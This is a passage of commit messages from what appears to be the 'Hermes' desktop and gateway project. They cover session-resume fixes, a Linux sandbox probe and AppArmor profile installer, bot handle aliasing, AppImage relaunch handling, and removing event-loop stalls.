display history. The API approval responder and the hosted-room status /
approve paths, which read only prompts and the handle, attach without
history too.

Refs #143829
Greptile: "test checks the reply but not that the transcript was not read".
The reply alone passed even if attach still loaded the whole lineage and
_resume_transcript discarded it. After the full resume, display_rows (the
lineage reader both prepare_history and local_history go through) now fails
if called, and the omit_messages resume must still answer.

Red with attach called history=True on the omit path; green on the fix.
get_latest_todo_result walked the lineage tip-first and skipped only
removed rows themselves; after an undo in a rotated compression child it
fell through to the parent's copy of the same Todo result and restored
the undone plan, while the full resume (display dedupe with
drop_removed) hid it. The lookup now reads the lineage's removed Todo
result identities (stored display identity or the same display key hash,
plus message_uid / absorbed uids, exactly as _dedupe_display_generations
does) and skips a candidate whose newer copy was removed.

Review: unsupportedpastels deep review on #144914, minor 3.
session.resume with omit_messages returns messages_omitted, but CanonicalSnapshot
forbids undeclared keys: every omitted Desktop open logged a contract violation and
the reply raised under strict checking. Declare it and regenerate the TS/OpenRPC.
The new test drives the omitted resume through dispatch, where the reply is checked.
attach(history=False) resolved the transcript target before the lock and threw it
away, and the omitted resume reply resolved it again on the loop after the attach,
outside unless_deleted: a delete landing in between answered storage_unavailable
instead of not_found. The attach now resolves it once inside unless_deleted and
carries it on the snapshot; the count/plan read runs under unless_deleted too.

Docstrings no longer claim the omitted path never reads the compression lineage:
it skips the display-row read, and the todo lookup still walks the lineage.
Reload Desktop while a turn is running, and let that first session.resume
fail once (a timeout against a cold profile, a transient backend error). The
REST fallback paints the history, so the window is readable, and the resume
failure latch is deliberately left clear (arming it would end in the
exhausted overlay over a readable transcript). Nothing else resumes the chat:
the route, the selection and the gateway are unchanged. The window stays
bound to no runtime, the turn's tool card says "Result unavailable" and its
reply never arrives (measured: 45 s after the turn finished, still absent,
one session.resume sent).

A painted-but-detached failure now arms its own latch,
$resumeReattachSessionId. use-resume-reattach (run from useRouteResume)
re-attempts the resume on the same 1-8 s backoff, at most 4 times, and never
arms the exhausted overlay, so the history stays on screen if the backend
stays down. The resume entry clears all three resume latches through one
helper (use-session-actions/resume-latches.ts), which keeps the
use-session-actions facade shorter than on main.

The empty-window path (RPC and REST both fail) and the session-gone and
read-only owner paths are unchanged.
A re-attach retry ran the full resumeSession entry: clearNotifications()
dismissed every non-persistent toast in the app, and each failure re-showed
"Resume failed" and counted another error_toast friction event (up to five
per incident). Retries now pass { reattach: true }: they leave the app's
toasts alone, the first failure's toast carries a stable id and is the only
one shown and counted, and use-resume-reattach dismisses it once a runtime
binds.

Tests: the arming is driven through the real resumeSession (RPC fails, REST
paints -> re-attach latch set, failure latch clear, retry quiet), and the
hook test now fires the timer after the selection moved / a runtime bound.
Each kills its mutation (arming no-op, guard deleted, toast wipe, re-toast).
useResumeReattach copied useRouteResume's attempt cap and delays; both now
read MAX_RESUME_RETRIES and resumeRetryDelayMs from resume-latches, so a
future backoff change cannot drift between them. Behaviour unchanged.
On hosts with kernel.apparmor_restrict_unprivileged_userns=1 the launcher's generic
`unshare --user` probe can pass (an AppArmor profile attaches to unshare) while the unconfined
Hermes binary cannot start Chromium's namespace sandbox, so `hermes desktop` launched
`Hermes --disable-setuid-sandbox` into `FATAL ... No usable sandbox!`. The opposite also held:
a profile granting Hermes `userns` was ignored and the launcher fell back to --no-sandbox.

On a restricted host the launcher now runs the packaged binary with --disable-setuid-sandbox
--hermes-sandbox-probe; Chromium creates its sandboxed zygote before any JS, and entry.ts exits 0
on that switch, so the exit code is the answer. Unrestricted hosts and builds that predate the
switch keep the generic probe. When the sandbox stays blocked and the setuid helper cannot be
configured, the existing --no-sandbox fallback now prints the two fixes that keep the sandbox,
including the new `hermes desktop --install-apparmor-profile` (the per-binary profile Chrome and
VS Code ship, written via sudo).
The packaged build unpacks dist/ beside app.asar (asar.unpack), so the switch literal lives in
resources/app.asar.unpacked/dist/electron-main.mjs. The green runner leg showed the launcher
skipping the probe on a real build while the raw binary probe answered correctly.
The tee/apparmor_parser run uses text=True; without encoding= a Windows
interpreter would decode with the ANSI code page (tests/hermes_cli/
test_subprocess_text_encoding.py).
`hermes desktop --install-apparmor-profile` escaped only `\` and `"` in the attachment path.
apparmor.d(5) "Globbing (AARE)" keeps `? * [ ] { } ^` as pattern syntax inside a quoted
path: `{x}` fails the parse, and `*`, `?` or `[` widen the grant to other binaries. Because
`sudo tee` ran before `apparmor_parser -r`, a broken profile stayed in /etc/apparmor.d and
failed at every boot.

- Refuse install paths containing those characters (plus `"`, `\` and non-printables) with
  a message naming them, instead of trying to escape them.
- Compile the generated text as the user (`apparmor_parser --skip-kernel-load --skip-cache`,
  verified on apparmor 4.0.1 / Ubuntu 24.04 and 5.0.2) from a temp file under the Hermes
  scratch dir before any sudo write.
- If loading fails after the write, `sudo rm -f` the file and say so.
- Before sudo, say in one sentence that the profile grants user namespaces to a path the
  user can replace, which the setuid helper does not.
- The launcher's remedies now list the setuid chrome-sandbox helper first, quoted for
  copy-paste; desktop.md states the trade-off.
Review G nits: say "could not check" when the parser cannot run, and list
the non-printable characters the install path check also refuses.
The bundled launch built its own sandbox argv and left out
--disable-setuid-sandbox, so a bundle whose chrome-sandbox is not
setuid-root passed the probe and still aborted. It now reuses
_packaged_desktop_launch_command, the same decision the checkout launch
makes.
The installer tee'd straight over /etc/apparmor.d/<profile>, so a write that
failed part-way (disk full, I/O error, file-size limit) left a truncated profile,
and a failed load rm -f'd a previously valid one. Stage the write as a dotfile
beside the target (apparmor_parser skips dotfiles when loading the directory),
load the staged file, and rename it into place only after both succeed; any
failure removes only the stage.
Review round (kshitijk4poor) on #144980:
- F1: the --no-sandbox fallback printed "Ubuntu's AppArmor policy ... blocks" whenever
  ELECTRON_DISABLE_SANDBOX=1, also on unrestricted hosts. print_no_sandbox_fallback now names
  the env var there and prints the AppArmor fix-it lines only when apparmor_restricts_userns().
- F2: --install-apparmor-profile refuses outside Linux with one line, before the security
  warning or any sudo/apparmor_parser call.
- F3: the fake-sudo tests keep the inherited PATH (bin_dir prepended) instead of /usr/bin:/bin.
- F4: a successful install is tested: tee staged, apparmor_parser -r staged, mv -f staged
  target, the old profile replaced and only the target left.
A send queued behind a running turn lives in the gateway's FIFO. When the
gateway dies mid-turn (crash, OOM, kill -9) the turn is fenced `unknown` on
the next boot and the FIFO pauses until the user presses Discard. The queue
card that offers Discard is refreshed only by the chat's own session.resume,
so after a relaunch that lands anywhere else (another chat, a fresh chat,
display.resume_last_session: false, a route the hard stop never persisted)
the queued message sat invisible and never ran, and the sidebar row read
"Finished — unread".

On every edge into an open gateway the renderer now re-reads the owner's
pending snapshot (the same session.resume with omit_messages that opening
the chat takes) for each chat this window queued owner work in and has not
resumed: chats with an unsettled pending-submissions journal entry or a
server-held queue card. The snapshot goes through the existing
reconcilePendingSubmissions, so the card is true again, and a queue holding
an `unknown` card claims the sidebar's needs-input dot, which outranks
unread. Opening the chat shows "2 Queued — paused" with Discard; Discard
runs the queued send once.

The hook sits beside useBackgroundQueueDrain (the local-queue twin); that
call is written on one line so ContribWiring does not grow.
The owner-queue reconcile skipped every chat this window had ever held
state for. That state survives reconnects (and the reconcile's own reads
add to it), so after an owner restart with the app still up, a send
paused behind the turn the restart lost kept reading "Finished - unread"
with no Discard. Every open edge now re-reads each chat holding owner
work except the one on screen, whose route resume reads it.

The read used bespoke session.resume params without defer_history. On a
legacy (non-canonical) backend that routes to the cold resume, which
builds an agent and auto-continues a crash-interrupted turn: a billed
model turn in a chat the user never opened. The read now takes the open
path's primaryResumeParams and runs only for chats whose owner admits
canonically (serverOwnsComposerQueue), four reads in flight at most.

A running turn now speaks over the paused-queue amber dot.
Queue and journal keys are lineage roots while the selection holds the
stored compression tip, so after compression the open chat failed the
"except the one on screen" check and drew a redundant background
session.resume on every gateway open. Both sides now go through
resolveComposerSessionKey.

The contract test now drives watchOwnerQueues: an open before the
session list loads reads once after it loads (and not again on a list
refresh), a close and reopen reads again, a legacy backend is never
read, and the stop ends further reads. The working-over-paused check
folds into the dot-state test, keeping the PR at two tests.
serverOwnsComposerQueue inspects the foreground connection, but the
background read goes to the chat's own backend: for a bare profile name that
is the profile's backend, which a per-profile remote override makes remote and
possibly legacy, where a cold resume auto-continues a crashed turn (a billed
model call in a chat the user never opened). The read now also requires the
owner's route mode to be 'local' (route mode, registry kind, or the dialed
socket for a bare profile); an unknown mode is skipped.

The docstring no longer claims a light read: the canonical gateway ignores
omit_messages, so the resume is a full attach that returns the whole
transcript and keeps the window subscribed. The worker loop is mapPool.
Kills the mutant that keys the paused set on queued as well as unknown.
A peer's primary (default) profile is always advertised under the reserved
display handle 'hermes' (botHandle() in apps/desktop's hermes-bots plugin),
but the multiplexed gateway's /p/<profile>/ mirror is keyed by the actual
profile name. Nothing mapped the handle back, so /p/hermes/... 404'd while
/p/default/... worked, blocking Bot Mode from reaching a peer's primary bot.

_resolve_request_profile now accepts 'hermes' as an alias for 'default' when
no profile is genuinely named 'hermes', matching the reserved-token handling
already used for display (mentionNameForms in data.ts drops 'hermes' so a
renamed bot can never hijack the alias).

Fixes #118076.
Bot Mode shows every host's default profile as @hermes, but the /p/<profile>/
mirror is keyed by profile name, so `hermes peer dm <peer>/hermes` (and the
message_agent peer route that runs it) got HTTP 404 from every multiplexed peer.

- the client addresses the handle by profile name (/p/default), so an older
  peer with no alias of its own is reached too;
- the prefix resolution moves out of the 4k-line api_server facade into
  api_server_profile_prefix.py, keeping the server alias and also applying it
  on a single-profile gateway.

Refs #118076
Review finding "Messages reach the wrong bot": _base_url rewrote every
<peer>/hermes target to /p/default, so a peer that still serves a real
pre-reservation 'hermes' profile (get_profile_dir keeps those resolving,
and the server keeps such a profile ahead of the alias) had its DMs, runs,
status and stop requests delivered to its default profile instead.

The client now addresses /p/hermes first and uses /p/default only when
the peer itself answers that it has no such profile: the 404 its
/p/<profile>/ prefix middleware returns before any handler runs
({"error": "Unknown or unconfigured profile"}). A handler 404, a 5xx or a
transport failure is no verdict and never reroutes. Peers without the
server-side alias (older hosts) still reach their default profile.
Review finding "Single-profile alias lacks coverage": the multiplex-off
branch of resolve_request_profile had no test. Real temporary profile
homes through the real prefix middleware: a default-profile gateway
serves /p/hermes/, a gateway running another named profile refuses it with
the unknown-profile 404 peers key their fallback on, and a gateway running
a real legacy 'hermes' profile keeps the name (and refuses /p/default/).
Same class as review finding "Messages reach the wrong bot", on the server
side: the /p/hermes/ alias checked only whether 'hermes' was SERVED, so a
host that has a pre-reservation profiles/hermes it does not serve (parked
under multiplexing, or its own daemon next to a single-profile default
gateway) answered traffic addressed to it as the default profile.

The handle now aliases the default profile only when no profile named
'hermes' exists on the host. A rejected /p/hermes/ for an existing but
unserved 'hermes' profile gets its own 404 body (code profile_not_served),
so `hermes peer` reports it instead of reading it as "no such profile" and
falling back to /p/default.
message_agent mapped the target 'hermes' to the default profile unconditionally,
so on an install that still has a pre-reservation profiles/hermes every @hermes DM
landed in the default profile's Bot Chat. The relayed inbound door
(bot_relay.deliver) did the same.

@hermes now aliases the default profile only while no live profile named 'hermes'
exists (the same rule the /p/hermes/ mirror applies); otherwise it is that profile.
The Bot Mode roster gave the default profile the @hermes handle unconditionally, so
an install with a pre-reservation profiles/hermes listed two @hermes teammates in
every Bot Chat system prompt, signed the default's DMs as @hermes, and the Bot Chat
admission door accepted profile='hermes' on the default profile's authority.

_handle now takes the roster: the default answers to @hermes only while no live
profile holds that name, and to @default otherwise. Every caller (teammate roster,
"You are" line, DM signature and author, relay sender stamp, local_taken_forms,
session_bot admission) passes it, so they all agree with message_agent's lookup.
botHandle turned every default row into @hermes, so a source that still has a
pre-reservation 'hermes' profile listed two @hermes bots: the mention parser saw a
collision and dropped a typed @hermes entirely, autocomplete offered two identical
tags, and the relay roster pushed two @hermes rows for that machine.

claimDefaultHandles marks a default row whose own source lists a real 'hermes'
profile; botHandle then names it @default, matching the backend's _handle. Applied
to the merged roster, the legacy profiles.list-only path, the relay roster rows,
the browser roster and the legacy SOUL protocol's self-handle.
Review C on #144900: the rule (a real 'hermes' profile owns @hermes; the
default answers @default then) was applied to the roster but not to every
reader of it.

- Mention middleware: the local message_agent target was botHandle(name)
  without the row, so a typed @default became target "hermes" and the DM
  landed in the real hermes profile. The target keeps the claim; the cold
  profiles.list fallback claims its raw rows too.
- Group rooms: stored member descriptors dropped hermesHandleTaken, so the
  turn prompt, mention parsing and the next re-persist re-derived @hermes
  for the default and told two bots they were both @hermes. The flag is
  persisted (and synced); a live row still wins on seat.
- A default row carrying a stale 'hermes' handle from an older backend no
  longer claims the @hermes form beside the real profile.
- Row previews (DM sender) and the routines header resolve the handle
  through the roster row instead of re-deriving @hermes for the default.
- /p/<profile>/ prefixes and peer targets are normalized like every other
  profile reader (normalize_profile_name): the multiplex server compared
  exact case, so box/Hermes got the unknown-profile 404 and the client's
  @hermes fallback rerouted it to the default even when the peer serves a
  real hermes.
An older peer answers the same "Unknown or unconfigured profile" 404 for a
profile it does not have and for a real 'hermes' profile it parks or runs
standalone, so the client's automatic /p/hermes -> /p/default reroute
delivered box/hermes DMs, runs, status and stop into the peer's default
profile. Upgraded peers alias the handle server-side, so the client no longer
reroutes on its own: the ambiguous 404 becomes an error naming the explicit
box/default address. (Deep review on #144900, finding 2.1.)
Desktop publishes handle 'default' for a remote default beside a real remote
'hermes' profile. local_taken_forms reserved only local @handles (so the
local default's folder id 'default' was free) and read the roster from the
sender's own profile home, so a named local bot was offered bare @default
for the remote row and message_agent admitted it into the LOCAL default.
Collision forms now come from the install root and reserve folder ids as
well as handles and friendly-name slugs; relay roster/outbox storage stays
scoped to the sender profile. (Deep review on #144900, finding 2.2.)
With every local name reserved install-wide, a named bot messaging its same-named
remote counterpart is offered researcher@box. That qualified form went through
_try_relay_delivery(root, ...), the default profile's relay folder, so the envelope was
queued and relayed from the default's outbox. Use the sender's own home, as the
unqualified relay fallback below already does.
The error said the peer is too old, but an up-to-date gateway that does not serve its
default profile answers the same 404. Two test docstrings still described the removed
/p/default reroute, and the peer test now asserts each refusal row's exact message.
Chromium forks its zygote into the sandbox before main.ts runs, so the
Linux boot-abort ladder's sticky fallback and a config.yaml
`desktop.electron_flags: [--no-sandbox]` (app opened without
`hermes desktop`) only reached renderer command lines. Those renderers
are still forked from the sandboxed zygote, believe they are
unsandboxed, open /dev/shm directly from the zygote's empty chroot and
die with ESRCH ("Try 'sudo chmod 1777 /dev/shm'"): a renderer crash
loop and a blank window, or an ESRCH loop in $TMPDIR under
--disable-dev-shm-usage.

The lock-owning instance now restarts once with the flag on argv when
--no-sandbox was only requested at runtime (AppImage relaunches the
image itself). Launches that start unsandboxed (argv or
ELECTRON_DISABLE_SANDBOX at launch) and sandboxed launches are
unchanged. The config.yaml switch loop moves into renderer-heap-flags.ts
to keep main.ts from growing.
Electron does not carry the launcher pipe across app.relaunch; the fd
number is reused in the next process (probed: fd 4 became
v8_context_snapshot.bin), so the inherited HERMES_DESKTOP_READY_FD would
point the reveal byte at an unrelated file.
On Linux `hermes desktop` shortens TMPDIR so Chromium can bind its
single-instance socket and parks the real directory in
HERMES_DESKTOP_TMPDIR; main.ts restores the long one right after the lock.
The runtime --no-sandbox relaunch runs after that restore and does not
pass through the launcher again, so the relaunched process inherited the
long TMPDIR and could not take requestSingleInstanceLock().

linux-sandbox-relaunch.ts captures the launch-time pair when it is evaluated
(before main.ts runs) and puts it back into the environment just before
app.relaunch(); the process that continues keeps the restored directory.
The AppImage runtime exports APPIMAGE/APPDIR to every descendant, so Hermes
started from a terminal or IDE AppImage carries that app's pair. The runtime
--no-sandbox relaunch trusted APPIMAGE unconditionally and started the other
app; Hermes exited and never came back.

New electron/relaunch-target.ts answers which executable relaunches this app:
$APPIMAGE only when APPDIR is set and process.execPath lies inside it (a
genuine AppImage, whose mount vanishes on exit), otherwise Electron's default
process.execPath.
resolveRemovableAppPath returned $APPIMAGE whenever it was set, and the
cleanup script rm -rf's that path. AppImage apps (terminals, IDEs) export
APPIMAGE to every descendant, so uninstalling an unpacked Linux Hermes
started from one deleted that other app's image.

Move the AppImage ownership check into relaunch-target.ts (ownAppImage) and
use it from both relaunchExecPath and resolveRemovableAppPath, so relaunch
and uninstall decide identically: APPIMAGE is ours only when this executable
runs inside APPDIR, or, without APPDIR, inside a type-2 runtime mount
($TMPDIR/.mount_<name><random>, per AppImage/type2-runtime build_mount_point).
The .mount_ rule keeps main's APPIMAGE-only uninstall contract and lets a
relaunch from the mount still go through the image.
Electron's relauncher execs its target with PR_SET_NO_NEW_PRIVS. Relaunching
$APPIMAGE that way leaves the type-2 runtime unable to mount through the setuid
fusermount3 (EPERM, exit 127), and process.execPath sits in this process's
FUSE mount, which the runtime unmounts as soon as we exit. Either way Hermes
quit for good: 0/3 relaunches came back from a real type-2 AppImage of the
Hermes main bundle.

relaunch-target.ts now owns "how this app starts itself again":
relaunchStrategy() picks Electron's relaunch, or for a FUSE-mounted AppImage a
detached child of the image file, and relaunchNow() runs it, releasing the
single-instance lock before the child starts. Node children carry no
NoNewPrivs, so the new runtime mounts a fresh image. An
--appimage-extract-and-run launch keeps relaunching the extracted executable,
since the image itself would need the FUSE those users lack.

ownAppImage() also follows symlinks when the lexical check fails: the runtime
builds APPDIR from the raw $TMPDIR while process.execPath is resolved, so a
symlinked TMPDIR (Fedora Atomic /home -> /var/home) disowned a real image.
libuv's spawn keeps every fd this process inherited without O_CLOEXEC;
Chromium's launcher behind app.relaunch closes them. The relaunched image
therefore held the AppImage runtime's keepalive pipe (and the launcher's
ready pipe), so the first FUSE mount and its squashfuse daemon lived until
the relaunched app exited. The image now starts through /bin/sh, which
closes every fd above 2 (0-9 under dash, which rejects higher numbers)
and execs it.

With the old mount now released, the child must not look anything up
through it: the AppRun prepended it to PATH, LD_LIBRARY_PATH,
XDG_DATA_DIRS and GSETTINGS_SCHEMA_DIR, and a lookup while its FUSE
daemon exits fails with ENOTCONN (the new AppRun's `env bash` aborted in
one of three live runs). Those entries are dropped from the child's env;
the new image's AppRun prepends its own mount.

A spawn error arrives asynchronously, after host.exit(0), so a moved or
non-executable image made Hermes exit with nothing logged. The image is
now checked (X_OK) before the single-instance lock is released or the env
is rewritten; on failure the refusal is logged and this instance keeps
running.
On a Linux NVIDIA host, main.ts writes this launch's `booting` NVIDIA EGL
witness before `ready`. The runtime --no-sandbox restart
(relaunchIfNoSandboxCameTooLate) then exited without settling it, so the
relaunched process read the deliberate exit as a GPU abort mid-boot,
routed ANGLE through SwiftShader and wrote a sticky `fallback` marker.

relaunchIfNoSandboxCameTooLate takes a `beforeExit` callback (the same
shape #145015 uses), run only when the instance actually restarts and
before the target starts (an AppImage target is spawned at once and
reads the witness). main.ts passes the NVIDIA EGL recovery's
cleanExit(), which turns this launch's `booting` into `ok` and leaves a
fallback alone.
On an unpacked or --appimage-extract-and-run Linux Desktop, the runtime
--no-sandbox restart went through Electron's app.relaunch(), whose Linux
relauncher execs the new process with PR_SET_NO_NEW_PRIVS. Every
descendant inherits it, so after an ordinary opening with
desktop.electron_flags: [--no-sandbox] the backend and the agent's
terminal could no longer gain privileges: sudo, pkexec and other setuid
helpers stopped working until the user restarted Hermes by hand.

The restart now starts its target (the AppImage file for a FUSE mount,
otherwise this executable) as an ordinary detached child for every Linux
format, the path a mounted AppImage already took. A target inside APPDIR
(the extracted executable) keeps the environment; any other target has
the APPDIR mount entries stripped, which a later commit in this PR
narrows to a restart of our own image file. #145015 then moves every
Linux relaunch onto one helper.

Review: unsupportedpastels on #144950, finding 2.2.
main.ts writes the generic Linux GPU ladder's `booting` witness before
`ready`, on every Linux GPU. The runtime --no-sandbox restart settled
only the NVIDIA witness, so the relaunched process read the deliberate
exit as an interrupted boot: an update re-probing an older version's
software fallback (`booting/reprobe`) or one earlier interrupted boot
(`booting/bootAborts:1`) engaged --disable-gpu and wrote a sticky
fallback marker, with no GPU failure at all.

clearLinuxGpuBootMarker settles that witness as `ok` unless the fallback
is sticky, and the restart's beforeExit runs it next to the NVIDIA
cleanExit, before the target starts. The clean-quit path calls the same
helper instead of its inline copy.

Review: unsupportedpastels on #144950, finding 2.1.
The early restart stripped APPDIR-rooted entries for every target outside
APPDIR. Hermes started from another app's AppImage (an IDE or terminal) then
lost that app's environment: PATH fell back to its non-mount entries and
SHELL, LD_LIBRARY_PATH and APPDIR were deleted, while app.relaunch on main
kept it whole. Only a restart of our own image file (relaunchTarget returns
it only when ownAppImage claims it) now drops the dying mount; every other
target, the executable in a symlinked appimage_extracted_* dir included,
keeps the env as inherited. Same rule as #145015.

The new test drives relaunchIfNoSandboxCameTooLate with a foreign AppImage
env and asserts the env the child is spawned with.
ownAppImage claims an image without APPDIR when the executable runs from a
type-2 runtime mount ($TMPDIR/.mount_<name><random>), but the restart only
stripped entries under APPDIR, so that mount stayed on PATH and
LD_LIBRARY_PATH of the new image's AppRun. The mount root is now read off
execPath the same way, and only for a restart of our own image.
The Linux --no-sandbox early restart spawns its target itself through
relaunch-target.ts, so "every self-relaunch goes through here" was false.
SessionDB.get_session / list_sessions_rich / get_recent_session_model_route /
list_gateway_sessions drained the async token queue first and waited up to
5 s for the background writer. Gateway handlers make these reads on the event
loop, and the writer can sit behind another connection's write lock, so one
read froze every socket on the gateway (#141966). Measured on a real
multiplex gateway under load: 36 stall samples (~0.7 s) in one 90 s run were
get_session waiting in flush_token_counts.

Reads now use flush_for_read(): on a thread running an asyncio loop it drains
nothing it would have to wait for and reads the committed totals (stale by
the queued deltas, which the next read sees). Off the loop it still waits,
and write barriers (model switch, meta update) keep calling
flush_token_counts and still wait.
psutil's Windows liveness paths (psutil_pid_is_running -> EnumProcesses, and
Process.status -> NtQuerySystemInformation) do not release the GIL, so a single
slow native call freezes every other Python thread in the process. Measured on
this Windows host: while a psutil.pid_exists() probe runs, a second Python
thread advances 0 ticks; the ctypes OpenProcess probe advances millions. Under
load (12 profiles + 5 bots) that became 55-257s event-loop stalls and gateway
polling stalls (#142085).

Both call sites now bypass psutil on Windows:
- gateway/status.py::_pid_exists goes straight to pid_exists_stdlib (ctypes),
  which releases the GIL; Windows has no POSIX zombies so the status read it
  skips did not apply there anyway.
- hermes_cli/process_identity.py::_pid_alive_matches skips Process.status() in
  the strict branch, matching the non-strict branch that already did.

Correctness is unchanged: the ctypes probe agrees with psutil on a live PID, a
dead PID and PID 4 (access denied) on this host.

Fixes #142085
A multiplexed boot opened each served profile's state.db (schema + FTS
setup, about a second per store on a loaded host) synchronously on the
gateway loop: _build_profile_authority read runner._session_db under the
profile scope, and GatewayRunner() opened the launch store in
SessionStore.__init__. With 11 profiles the loop sat in _init_schema for
~11.7 s of stall samples before any client was served.

- open_profile_store binds the profile scope inside the worker thread and
  resolves the store through the same scoped handle cache; the authority
  build awaits it via asyncio.to_thread.
- secondaries are prewarmed concurrently before the ordered build; a failed
  open is still reported (and the profile parked) by the build that follows.
- start_gateway pins the launch store from a worker thread around
  GatewayRunner() so the store's own open is a registry hit, then drops
  the extra reference.

Measured (11 profiles, 33 Desktop-style sessions, cron per profile,
loopback provider): state.db-open stall samples on the loop 11.68 s -> 0.20 s.
_UnboundedThreadExecutor.submit() runs on the gateway event loop and started
a new thread for every item. Thread.start() waits until the new thread gets
the GIL, so with many turns running every submit (turn bodies, and the
handoff watcher's idle gates every 2 s per profile) stalled the loop.

A finished worker now parks for up to 60 s and the next submit hands it the
item with a queue put; a thread is started only when none is parked, so the
pool stays unbounded and the OS-thread-limit contract is unchanged.

A reused thread must look new to its next item:
- every item runs in an empty contextvars.Context (what a new thread gets);
- gateway/turn_thread_reset.py drops the thread-keyed state a turn leaves
  behind before the worker parks: the tools.interrupt bit, reason and
  yield for the thread id, the sudo cache's thread scope, and the per-turn
  threading.local namespaces (terminal/vault callbacks, aux-client turn
  state, plugin tool whitelist, ...). A worker whose reset fails retires.
- _threads still lists busy threads only, so shutdown's join/quiesce count
  is what it was; shutdown wakes parked workers to exit.

Tests: a flag, thread-local, context variable and sudo-cache entry set in
turn 1 are not visible in turn 2 on the reused thread; a submit with a
parked worker starts no thread. Red on the previous head, green here;
every existing executor/handoff-watcher/shutdown test passes unmodified.

Measured (same 11-profile workload): executor-submit stall samples on the
loop 1.10 s -> 0.04 s.
Every gateway turn ended with state.db meta reads on the loop: GoalManager
and LoopManager construction in _post_turn_manager (load_goal/load_loop),
then the control-card publish (control_snapshot: goal, loop, heartbeat meta
plus the compression tip). Under load these were a recurring stall.

- _post_turn_manager builds the manager via asyncio.to_thread (the copied
  context carries the turn's profile scope).
- session_control_actions.publish_async reads the snapshot in a worker
  under owner_scope(authority) and publishes on the loop. Publishes keep the
  order they were scheduled in: each takes a ticket on the loop and a
  snapshot whose read finished after a later-scheduled publish already
  painted is dropped. The sync publish takes tickets too, so the two mix.
- the post-turn hook and the loop-wakeup publish use publish_async. The
  per-tool republish stays synchronous: test_session_viewer_automation pins
  it completing within one loop step.
_run_agent_display_settings runs at every turn start and resolves the
platform toolsets; the xAI credential probe inside _get_platform_tools takes
the auth-store file lock, and the config reads hit the disk. On the loop
that was a measured per-turn stall (auth.py _file_lock in the stall
sampler). The whole resolution now runs via asyncio.to_thread; the copied
context carries the turn's profile scope, so it reads the same profile's
config and secrets as before.
Every queued Desktop turn's claim (_claim_next), resume and attach runs
restore_local_session on the gateway loop. For a session that is already
live it took store._lock just to re-assign the route's current id to
itself, and worker threads hold that lock across state.db writes
(_save_entry), so the loop waited on other turns' writes: the top
remaining per-turn stall in the stall sampler (session_local_recovery.py
`with store._lock`).

When the loaded route already names the receipt's target and that target is
in the receipt's lineage (the exact case where the locked branch is a
no-op), the restore returns without the lock. Every other shape still takes
the lock and is checked there unchanged.

Test: with another thread holding store._lock, restoring a current live
session returns at once (red on the previous head: it blocks until the
holder lets go).
_release_running_agent_state released the cross-process active-session
lease inline at every turn end: registry file lock, JSON read + prune (a
liveness probe per entry) and an atomic rewrite, on the gateway loop. With
many turns finishing it was a recurring stall (active_sessions.py
_read_entries / _write_entries under release in the stall sampler).

Releases now go to one ordered worker (gateway/active_lease_io.py). Order
is kept; a release that lands after the same session's next acquire is a
no-op because the registry drops by lease id and that acquire re-keyed the
entry. The lease pinned its registry path at acquisition, so the worker
needs no profile scope. The acquire at turn start stays synchronous: it is
the cross-process exclusivity check and must complete before the turn's
first await (the in-process duplicate-turn guard depends on it).
`_submit_api_worker` ran every API-server agent turn (`/v1/chat/completions`, `/v1/responses`
without an Idempotency-Key, `/v1/runs`, `/api/sessions/{id}/chat`) with
`loop.run_in_executor(None, ...)`, and the cron fire endpoint ran whole cron turns with
`asyncio.to_thread`. Both hold a thread of the loop's default executor for the whole turn,
and that pool (min(32, cpu_count + 4) threads) is also the one every `asyncio.to_thread`
SessionDB read in the session handlers uses. Once live turns reached the pool size, every
/api/sessions read queued behind a running turn, and the real turn cap became the pool size
instead of `gateway.api_server.max_concurrent_runs`.

They now run on their own `_UnboundedThreadExecutor`, the same executor class the messaging
and Desktop turns use (`GatewayRunner._get_executor`). Concurrency stays bounded where it is
refused: `max_concurrent_runs` (429 past the cap). The cron fire keeps `to_thread`'s contextvars
copy. The worker-lifetime count and its shutdown close gate are unchanged.

Fixes #144362
`get_status` read config.yaml for `check_config_version()` (a raw YAML parse), the auth
store for `nous_session_validity`, the install method, git provenance on the first call, and
opened state.db read-only for the FTS rebuild progress, all synchronously inside the `async`
handler. In the gateway that handler runs on the loop that also serves the Desktop session
WebSocket, so every status poll (Desktop polls it constantly; NAS health sweeps too) stalled
every other request for as long as the disk took.

Those reads now run in one threadpool hop (`_status_local_reads`) and one for the FTS
rebuild probe, the same way the handler's other reads already do. The payload is unchanged;
`?profile=` keeps its config scope because the threadpool copies contextvars.

Fixes #143561 (the config-version read; the platform-config read was already off the loop)
`ResponseStore.put` serialises the whole chained `conversation_history` to JSON, then
INSERTs, counts, runs the LRU eviction select/delete, settles identities against state.db and
commits, all on the gateway's event loop (`persist_snapshot` and the non-streaming
`/v1/responses` path called it directly). With `previous_response_id` chaining the history is
the whole thread, so on long sessions each save blocked every other request on that loop, the
Desktop WebSocket included, and one box was killed by the liveness watchdog mid-eviction.
The reads on the same paths (`get` of a chained response, replay lookups, output-index
allocation, GET/DELETE /v1/responses/{id}) did the same with smaller rows.

The store now owns an RLock that every public method holds, so its one sqlite3 connection is
safe from worker threads, and loop handlers reach it only through `store.off_loop(fn, ...)`,
which runs `fn` on a worker thread with the lock held. Sequences that used to run without an
await between them (settled check + body + conversation pointer; terminal snapshot + replay
record + read-back; non-streaming body + pointer + replay record) stay one locked unit, so no
other observer interleaves where it could not before. Every write is awaited before the
handler answers, and `response.created` is now sent after the in-progress snapshot is stored,
so a response id a client receives is readable by its very next request. The `/v1/runs` chain
lookup moved to a worker as well.

Fixes #142641 (item 1; the compressor lockout in item 2 is a different mechanism)
FastAPI runs an `async def` route directly on the event loop, which in the gateway is the same
loop that serves the Desktop session WebSocket (/api/ws) and the PTY. The dashboard file routes
and /api/system/stats did blocking work there with no offload, so every other request waited:
a recursive DELETE /api/files (`shutil.rmtree`), `os.scandir` listings (/api/files and the local
branch of /api/fs/list), JSON upload / mkdir writes, the multi-MB data-URL JSON render of
/api/files/read and /api/fs/read-data-url, the git subprocess behind /api/fs/default-cwd, the
streamed-upload chunk writes, and `psutil.cpu_percent(interval=0.1)` sleeping on the loop.

The await-free handlers are plain `def` now, so FastAPI runs them in its threadpool (contextvars,
and with them the request's profile scope, follow). The routes that still await keep `async def`
and hop the blocking calls with `asyncio.to_thread`; the two data-URL readers render their JSON on
the worker. Ported by hand from #120271 onto main's newer file routes (remote backends, session
workspaces, hosted read guard), which the original sync-def conversion of the /api/fs/* routes no
longer fits; the original loop-placement test is rewritten table-driven inside tests/hermes_cli/test_web_server_files.py.

Fixes #120270

Co-authored-by: John Paul Soliva <soliva.johnpaul@icloud.com>
